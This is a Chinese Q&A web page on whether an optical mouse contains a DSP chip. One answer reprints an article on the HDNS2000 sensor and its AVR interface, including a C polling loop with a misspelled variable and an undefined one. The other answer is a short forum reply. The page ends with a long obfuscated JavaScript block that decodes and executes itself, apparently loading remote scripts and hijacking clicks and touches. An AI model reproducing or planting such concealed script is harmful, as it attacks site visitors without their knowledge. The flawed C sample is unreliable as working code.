DSP处理器和鼠标内部的芯片是否有区别?

2025-02-16 14:48:31
推荐回答(2个)
回答1:

HDNS2000光学感测芯片在运动检测中的应 用2009年02月17日 星期二 下午 10:40
摘 要:安捷伦(Agilent)公司的hdns2000芯片是一种高性能的运动检测器件,在目前的光学鼠标中应用广泛,其易用性和廉价性使其非常适合应用于中低精度的运动和位置检测中。本文介绍hdns2000的功能、特点,从硬件与软件两个方面讨论hdns2000与AVR单片机的接口设计。

关键词:hdns2000 运动检测 AVR

在机电产品设计中,有时需要检测物体间的相对运动,包括运动方向和运动距离。若采用机械式的结构,比如机械鼠标中的滚轮和轨迹球,则会由于频繁的机械运动而发生故障,导致精度下降甚至失效,维修起来也不方便。另外它需要两个物体表面相接触,靠相互间的摩擦进行工作,这在某些场合是不能允许的。解决方案之一就是采用光电器件,运用光学原理来测定运动。安捷伦公司的hdns2000就是为此而设计的,虽然它的市场是针对光学鼠标,但也可以作为一种高性能而又廉价的器件运用于工业控制领域中。
1 hdns2000芯片介绍

1.1 主要功能与特性

hdns2000是安捷伦推出的高性能的光学感测芯片,它的内部包含三个基本模块:图像拾取系统、DSP处理器、PS/2或四状态输出转换器,如图1所示。在hdns2000芯片的底部有一个感光眼,如同一个小型的摄像头,不断地对物体表面进行拍照,接着将前后两次的图像送入DSP中进行处理,以判断物体移动的方向和大小,最后将数据转化为PS/2格式或者以两通道四状态格式输出。图2中的(a)与(b)分别为芯片前后两次拾取的图像。比较图2中的(a)和(b)可以看出,物体向左下方移动了一点。
hdns2000的图像拾取系统每秒钟可以拾取1500张图像,可以精确地测量最高30.48 cm/s(12 英寸/s)的运动,解析度为400点每英寸。

1.2 引脚介绍
hdns2000的主要引脚框图如图3所示。
PS2_C:PS/2接口的时钟端。
MODE/XA:复用引脚,接高电平时表示选择PS/2模式;否则,为XA输出。
RB/XB:复用引脚,PS/2模式时为鼠标右键输入;否则,为XA输出。
MB/YB:复用引脚,PS/2模式时为鼠标中键输入;否则,为YB输出。
LB/YA:复用引脚,PS/2模式为鼠标左键输入;否则,为YA输出。
XY_LED:激光LED控制输出,在物体长时间不移动时,hdns2000可以控制LED关闭,以节约能量。
VDD3:3.3 V直流电源输入。
REFB:内部参考引脚,通过电容与VDD3相连。
PS2_D :PS/2接口的数据端。
NRESET:低电平复位引脚。
VDD5:5 V直流电源输入。
GND:电源地。
OSC2:晶振输出。
OSC1:晶振输入,外接18.432 MHz晶振。

2 hdns2000与AVR单片机接口设计
2.1 hdns2000与AT90S8015接口

hdns2000直接提供有PS/2接口,方便了PS/2鼠标的设计;但在机电控制中,为了提高效率,宜直接采用hdns2000的另一种输出模式,即X向与Y向两通道四状态输出模式。此时XA、XB指示X向移动状态,而YA、YB指示Y向移动状态。图 4为hdns2000与AVR单片机AT90S8515的接口原理图。接口主要占用了4个引脚,其它两个是可选的,所以,即使是AVR中最低档的ATtiny系列也可以方便地与hdns2000连接。

另外在对节能要求不高的场合,可以将激光LED的一端直接与地相连接,而通过控制开关三极管2N3906来主动控制hdns2000的工作状态。本文作者在设计时正是采用的这种方式。在进行系统设计时,最好采用安捷伦公司提供的套件,其中包括hdns2000芯片、HDNS2100透镜、HDNS2200 激光LED卡件及HLMP-ED80激光LED,激光波长为639 nm。
2.2 四位状态机的工作过程

在hdns2000内部有两个状态机分别指示X、Y两个方向,每个状态机又有四个稳定的状态。图5是状态机的示意图。由图5可见,一开始系统处于状态0,每当检测到物体向正向或反向移动1个单位时就转移到下一个状态,所以只要连续监测状态机状态的变化就可以判断物体移动的方向和距离。图6(a)和(b)分别为负向移动和正向移动时状态机输出的波形。值得注意的是,每个状态的最少停留时间为133μs。

2.3 接口软件设计
由状态机输出波形图可以看出,有一种很简单自然的接口设计方法,就是将状态输出引脚接到单片机的外部中断引脚上,使其在每个波形的上下边沿都产生中断,再在中断处理程序中,检测另一对应波形的电平高低,就可以判断移动方向。比如在XA的上升沿时,若XB是低电平就是左移,若XB是高电平就是右移。这种方法需要单片机提供足够多的外部中断。若同时检测X向与Y向运动,且单片机1个引脚不能同时提供上升沿和下降沿中断的情况下,就需要占用8个中断、8条引脚;而目前许多单片机仅提供2个外部中断引脚,这种要求显然较为苛刻。

另一种方式就是降低精度要求,仅在XA与YA的上升沿进行检测,此时仅需要2个外部中断引脚。但这种方式在一种极端条件下会出错,读者可以自行分析。若只检测X一个方向,则可以同时检测上下沿中断,这样不会出错。这种方式牺牲了一点对运动换向和震颤的敏感度;但编程简单,不失为一种好方法。

本文采用的是查询方式,这种方式不占用任何中断,且能够不损精度地同时检测X向与Y向运动。前面已经提过,每个状态的最小保持时间为133 μs,所以,只要将查询的周期控制在60μs之下就可以抓住每个状态的变化。对于AT90S8515,若按晶振为8 MHz计算,则只需将查询周期汇编指令数控制在450条以下就可以了。实际上,以下给出的C语言程序经过编译后只有不大于60条汇编指令,完全能够满足系统要求。

该方法的基本思想是将状态机的前一状态与现在的状态组合在同一字节内,如表1所列,寻找其中的规律,简化程序设计。表1中以PRE开头的表示前一状态的对应值。

以X向移动为例(仅看前半字节),正向移动时对应的值为0b1000、0b1110、0b0111、0b0001,负向移动时对应的值为0b0010、0b1011、0b1101、0b0100。假设状态不变的情况已经排除,且查询周期足够短,不会出现相对周期的组合值。所以只要能将以上两组值区分开来就可以了,这也正是程序中两条条件判断语句的目的。读者可以对照程序自行验证。接口程序如下:
while(1){
state=PINA&0xcc;
state_change=state^pre_state;
combo_state=sate | (pre_state>>2);
if(state_change & 0x0c)
{
if((combo_state & 0x06) == 0x06)
{asm("INC R20");goto next;}
if((combo_state | 0x09) == 0x09)
{asm("INC R20");goto next;}
asm("DEC R20");
}
next:
if(state_change & 0xc0)
{
if((temp & 0x60) == 0x60)
{asm("INC R21");goto end;}
if((temp | 0x90) == 0x90)
{asm("INC R21");goto end;}
asm("DEC R21");
}
end:pre_state=state;}

程序已经事先定义了寄存器R20与R21分别为X、Y向的计数器,用来表示X、Y向移动的距离。以上程序段利用内嵌汇编语句优化了程序结构。实际上,还可以对编译器生成的汇编代码进行优化,这里就不再详述了。

结 语

以上软硬件接口设计虽然是以功能强大的AVR单片机作为例子,但通过仔细分析不难发现,在简单的应用场合,用普通的51单片机,甚至如AT89C2051在12 MHz晶振频率下也可以实现其功能。所以整个系统会是相当廉价的。

回答2:

你确认你的光电鼠标里面的芯片是DSP处理器?
一个DSP处理芯片最便宜的也要100以上吧
鼠标里面的那个芯片具体型号我不知道
但是,那个芯片只是提供一个USB接口加一个编码器吧
相当于那个光传感器把信号传给那个芯片,
芯片编码后通过USB接口传给电脑来识别鼠标动作
这个东西我正在考虑通过一个PIC单片机加2401来做一个无线鼠标
所以了解较多一点
DSP是一个数字信号处理器
不同的DSP芯片它的引脚数量是不同的
我们DSP实验课用过的5401处理器有100多引脚吧
传感器编码后的数字信号就是通过这些引脚输入到DSP处理器里面的
所以,,,一个DSP芯片足够了哦

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();